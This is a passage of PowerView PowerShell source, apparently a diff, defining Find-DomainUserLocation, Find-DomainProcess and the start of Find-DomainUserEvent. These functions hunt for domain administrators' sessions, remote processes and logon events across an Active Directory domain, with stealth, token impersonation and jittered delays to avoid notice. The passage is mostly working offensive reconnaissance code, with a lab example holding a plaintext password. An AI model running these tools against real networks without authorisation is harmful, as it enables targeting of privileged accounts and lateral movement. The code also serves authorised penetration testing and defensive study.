$UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + $TargetComputers = @() + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = @($ComputerName) + } + else { + if ($PSBoundParameters['Stealth']) { + Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource" + $TargetComputerArrayList = New-Object System.Collections.ArrayList + + if ($StealthSource -match 'File|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for file servers' + $FileServerSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } + $FileServers = Get-DomainFileServer @FileServerSearcherArguments + if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } + $TargetComputerArrayList.AddRange( $FileServers ) + } + if ($StealthSource -match 'DFS|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers' + # # TODO: fix the passed parameters to Get-DomainDFSShare + # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName} + } + if ($StealthSource -match 'DC|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers' + $DCSearcherArguments = @{ + 'LDAP' = $True + } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname + if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } + $TargetComputerArrayList.AddRange( $DomainControllers ) + } + $TargetComputers = $TargetComputerArrayList.ToArray() + } + else { + Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + } + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserLocation] No hosts found to enumerate' + } + + # get the current user so we can ignore it in the results + if ($PSBoundParameters['Credential']) { + $CurrentUser = $Credential.GetNetworkCredential().UserName + } + else { + $CurrentUser = ([Environment]::UserName).ToLower() + } + + # now build the user target set + if ($PSBoundParameters['ShowAll']) { + $TargetUsers = @() + } + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + else { + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)" + if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { + throw '[Find-DomainUserLocation] No users found to target' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $Sessions = Get-NetSession -ComputerName $TargetComputer + ForEach ($Session in $Sessions) { + $UserName = $Session.UserName + $CName = $Session.CName + + if ($CName -and $CName.StartsWith('\\')) { + $CName = $CName.TrimStart('\') + } + + # make sure we have a result, and ignore computer$ sessions + if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { + + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $Null + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName + + # try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + catch { + $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null + } + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin + } + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null + } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation + } + } + } + if (-not $Stealth) { + # if we're not 'stealthy', enumerate loggedon users as well + $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer + ForEach ($User in $LoggedOn) { + $UserName = $User.UserName + $UserDomain = $User.LogonDomain + + # make sure wet have a result + if (($UserName) -and ($UserName.trim() -ne '')) { + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { + $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress + $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null + $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Test-AdminAccess -ComputerName $TargetComputer + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin + } + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null + } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation + } + } + } + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TargetUsers' = $TargetUsers + 'CurrentUser' = $CurrentUser + 'Stealth' = $Stealth + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-DomainProcess { +<# +.SYNOPSIS + +Searches for processes on the domain using WMI, returning processes +that match a particular user specification or process name. + +Thanks to @paulbrandau for the approach idea. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any current processes running with Get-WMIProcess, +searching for processes running under any target user contexts or with the +specified -ProcessName. If -Credential is passed, it is passed through to +the underlying WMI commands used to enumerate the remote machines. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER Domain + +Specifies the domain to query for computers AND users, defaults to the current domain. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerUnconstrained + +Switch. Search computer objects that have unconstrained delegation. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER ProcessName + +Search for processes with one or more specific names. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainProcess + +Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. + +.EXAMPLE + +Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local + +Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by +privileged users in dev.testlab.local. + +.EXAMPLE + +Find-DomainProcess -ProcessName putty.exe + +Searchings for instances of putty.exe running on the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainProcess -Domain testlab.local -Credential $Cred + +Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. + +.OUTPUTS + +PowerView.UserProcess +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.UserProcess')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [Alias('Unconstrained')] + [Switch] + $ComputerUnconstrained, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'TargetProcess')] + [ValidateNotNullOrEmpty()] + [String[]] + $ProcessName, + + [Parameter(ParameterSetName = 'TargetUser')] + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Parameter(ParameterSetName = 'TargetUser')] + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainProcess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainProcess] No hosts found to enumerate' + } + + # now build the user target set + if ($PSBoundParameters['ProcessName']) { + $TargetProcessName = @() + ForEach ($T in $ProcessName) { + $TargetProcessName += $T.Split(',') + } + if ($TargetProcessName -isnot [System.Array]) { + $TargetProcessName = [String[]] @($TargetProcessName) + } + } + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + else { + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $GroupSearcherArguments + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $ProcessName, $TargetUsers, $Credential) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # try to enumerate all active processes on the remote host + # and search for a specific process name + if ($Credential) { + $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + else { + $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + ForEach ($Process in $Processes) { + # if we're hunting for a process name or comma-separated names + if ($ProcessName) { + if ($ProcessName -Contains $Process.ProcessName) { + $Process + } + } + # if the session user is in the target list, display some output + elseif ($TargetUsers -Contains $Process.User) { + $Process + } + } + } + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential + $Result + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainProcess] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'ProcessName' = $TargetProcessName + 'TargetUsers' = $TargetUsers + 'Credential' = $Credential + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainUserEvent { +<# +.SYNOPSIS + +Finds logon events on the current (or remote domain) for the specified users. + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction + +.DESCRIPTION + +Enumerates all domain controllers from the specified -Domain +(default of the local domain) using Get-DomainController, enumerates +the logon events for each using Get-DomainUserEvent, and filters +the results based on the targeting criteria. + +.PARAMETER ComputerName + +Specifies an explicit computer name to retrieve events from. + +.PARAMETER Domain + +Specifies a domain to query for domain controllers to enumerate. +Defaults to the current domain. + +.PARAMETER Filter + +A hashtable of PowerView.LogonEvent properties to filter for. +The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', +and is 'or' by default, meaning at least one clause matches instead of all. +See the exaples for usage. + +.PARAMETER StartTime + +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). + +.PARAMETER EndTime + +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. + +.PARAMETER MaxEvents + +The maximum number of events (per host) to retrieve. Default of 5000. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer(s). + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainUserEvent + +Search for any user events matching domain admins on every DC in the current domain. + +.EXAMPLE + +$cred = Get-Credential dev\administrator +Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' + +Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' +domain controller using the alternate credential + +.EXAMPLE + +'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} + +Find user events on the primary.testlab.local system where the event matches +the IPAddress '192.168.52.200' or '192.168.52.201'. + +.EXAMPLE + +$cred = Get-Credential testlab\administrator +Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} + +Find user events mathing the specified GUID AND the specified TargetLogonId, searching +through every domain controller in the current domain, enumerating each DC in serial +instead of in a threaded manner, using the alternate credential. + +.OUTPUTS + +PowerView.LogonEvent + +PowerView.ExplicitCredentialLogon + +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogon')] + [CmdletBinding(DefaultParameterSetName = 'Domain')] + Param( + [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(ParameterSetName = 'Domain')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Hashtable] + $Filter, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, + + [ValidateRange(1, 1000000)] + [Int] + $MaxEvents = 5000, + + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [Switch] + $CheckAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + 